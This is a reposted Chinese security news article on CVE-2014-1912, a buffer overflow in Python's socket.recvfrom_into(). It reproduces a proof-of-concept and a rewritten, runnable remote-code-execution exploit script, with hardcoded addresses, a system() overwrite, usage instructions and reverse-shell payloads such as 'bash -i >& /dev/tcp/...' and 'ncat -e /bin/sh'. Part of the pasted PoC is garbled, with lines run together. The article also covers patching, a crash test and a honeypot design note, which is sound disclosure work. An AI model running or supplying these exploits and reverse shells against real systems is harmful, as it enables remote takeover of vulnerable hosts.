CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

recvfrom

2017年5月24日 911点热度 0人点赞 0条评论

recvfrom

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

Python socket.recvfrom_info()函数中的远程代码执行漏洞

Taskiller2014-03-10+5共80134人围观 ,发现 2 个不明物体网络安全

最近,pastebin上发布了一个exploit,是关于Python 2.7和3.x版本中的socket.recvfrom_into()函数中一个远程代码执行漏洞(栈溢出)的PoC。

(有些地方pastebin.com可能被墙了,为了方便,译者把它拷贝到文章里。)原exploit如下:

#!/usr/bin/env python'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912

socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder

With NX evasion!

(gdb) x/i $eip
=> 0x817bb28:	mov    eax,DWORD PTR [ebx+0x4]       <--- ebx full control => eax full conrol
   0x817bb2b:	test   BYTE PTR [eax+0x55],0x40
   0x817bb2f:	jne    0x817bb38 -->
   ...
   0x817bb38:	mov    eax,DWORD PTR [eax+0xa4]      <--- eax full control again
   0x817bb3e:	test   eax,eax
   0x817bb40:	jne    0x817bb58 -->
   ...
   0x817bb58:	mov    DWORD PTR [esp],ebx  <---- ebx points to the beginning of the buffer   [trash]||shell cmd[null byte]
   0x817bb5b:	call   eax <----- indirect fucktion call ;) will be redirected to system()

'''import structdef off(o):
	return struct.pack('L',o)'''
rop = {
	'pop eax': off(0x80795ac),
	'call eax': off(0x817bb5b),
	'xor eax': off(0x8061379),
	'mov [eax], edx': off(0x8078cf6),
	'xor edx, edx': off(0x80a60d1),
}
'''plt = {
	'system': off(0x805b7e0),}#addr2null = off(0x11111111)ebx = 0xb7ae7908  # points to the begining of the buff eax = ebx
eax2 = ebx+20padd2 = 'X'*(144)padd1 = 'Y'*(8)  #system_command = 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'#system_command = 'nc -e /bin/sh 127.0.0.1 1337'system_command = 'ncat -e /bin/sh 127.0.0.1 1337''''           
        +------------+------------------+                      +--------------------+
        |            |                  |                      |                    |
        V            |                  |                      |                    V         
'''buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 +  plt['system'] + '||'+system_command+'\x00' # thanks python strings ;)print 'buf

该exploit发布于一月份,并且当时就已经被修复了(http://bugs.python.org/issue20246)。不过这里要说的是,虽然我们的Artillery用Python编写,而且用到了Python的SocketServer()函数,而SocketServer()函数又用到了Python中的socket模块,但幸运的是,Artillery并没有被这次的漏洞波及,纠其原因还是在于Artillery的设计。在创建Artillery时我们实际上并没有打算用它来接收任何数据,只是accept一个socket连接,之后通过该连接发送数据。

Artillery 中的相关代码如下:

(https://github.com/trustedsec/artillery/blob/master/src/honeypot.py)

def setup(self):
        # hehe send random length garbage to the attacker
        length = random.randint(5, 30000)
        # fake_string = random number between 5 and 30,000 then os.urandom the command back
        fake_string = os.urandom(int(length))
        # try the actual sending and banning
        try:
            self.request.send(fake_string)
           #####  <snipped some of the non-relevant code here> #####
            self.request.close()

如你所见,我们基于(5,30000)生成了一个随机字符串,通过连接发送出去,之后断开连接,并没有实际接收数据,因此也没有调用过socket.recvfrom_into()函数。通过分析SocketServer()函数可以发现,这个函数甚至根本没用到socket.recvfrom_into()函数,因此Artillery才没有被这次的漏洞波及。将该程序设计为从来不从攻击者那里接收数据,是基于其特殊的应用场景,使其从根本上杜绝了因socket或SocketServer的问题而产生的漏洞。

原exploit有些问题,以下是根据该PoC重写的RCE版本(需要注意的是,代码中的rop变量没有整合到重写的exploit中,读者可以通过修改buff变量将该NX bypass合并进来):

import struct
import socket
import sys

def off(o):
        return struct.pack('L',o)

''' 
rop = {
        'pop eax': off(0x80795ac),
        'call eax': off(0x817bb5b),
        'xor eax': off(0x8061379),
        'mov [eax], edx': off(0x8078cf6),
        'xor edx, edx': off(0x80a60d1),
}
'''

plt = {
        'system': off(0x805b7e0),
}

#addr2null = off(0x11111111)

ebx = 0xb7ae7908 
eax = ebx
eax2 = ebx+20
padd2 = 'X'*(144)
padd1 = 'Y'*(8)

system_command = 'bash -i >& /dev/tcp/0.0.0.0/1337 0>&1'

buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 +  plt['system'] + '||'+system_command+'\x00'

try:
	ip = sys.argv[1]
	port = int(sys.argv[2])
	print "[*] Python 2.x/3.x Remote Code Execution in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him."
	print "[*] Quick rewrite: Dave Kennedy @ TrustedSec"
	print "[*] Sending the exploit to %s on port %s" 
	print "[*] If successful, a shell will be listening on port 1337 on the remote victim"
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))
	# data = s.recv(512)
	s.send(buff)
	s.close()

except IndexError:
	print "Python 2.x/3.x Remote Code Execution (NX bypass) in socket.recvfrom_into() based on PoC from @sha0coder - all credit to him"
	print "Quick rewrite by: Dave Kennedy @ TrustedSec"
	print "Usage: python exploit.py <victim_ipaddress> <victim_port>"

代码就是这样的。尽管recvfrom_into()函数较少使用,但仍存在风险,因为也许恰好很多应用程序都使用了这个函数。感谢@sha0coder写了这么棒的PoC。如果读者要测试正在使用的Python版本是否存在该漏洞,可以创建一个简单的test.py脚本,输入以下内容:

import socket
r, w = socket.socketpair()
w.send(b'X' * 1024)
r.recvfrom_into(bytearray(), 1024)

在命令行运行 python test.py,如果返回Segmentation fault,那么恭喜你中枪了,赶紧更新你的Python吧!

[via trustedsec]

Taskiller

Taskiller29 篇文章等级: 5级
|
|
  • 上一篇:对利用Adobe 0day – CVE-2014-0502进行攻击的行为分析
  • 下一篇:利用Google爬虫DDoS任意网站
发表评论

已有 2 条评论

  • niuren 2014-03-10回复1楼

    AttributeError: ‘module’ object has no attribute ‘socketpair’

    亮了(3)
  • hackerstorm (1级) 2014-03-11回复2楼

    这个利用性高么?

    亮了(1)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

Taskiller

Taskiller

这家伙太懒,还未填写个人描述!

29 篇文章14 条评论

相关阅读

  • 门户应用Apache Jetspeed 2.3.0及早期版本:远程代码执行漏洞分析
  • 微软将在本周二修复6个严重的远程代码执行漏洞
  • Hola VPN 给出修复方案但问题仍在
  • 破碎的IE:全版本远程代码执行0day披露CVE-2014-1776
  • 黑掉70多款监控摄像头?so easy!

特别推荐

关注我们 分享每日精选文章

不容错过

  • 内部威胁那些事儿(一)木千之2016-05-12
  • 看我是如何跟羊毛党战斗的之我也变成羊毛党西毒若相惜2017-01-12
  • 一万两千个PoC背后隐藏的信息寰者2016-05-11
  • 从安全漏洞看印度国家银行APP为何“技术落后10年”东二门陈冠希2016-05-19

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月24日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me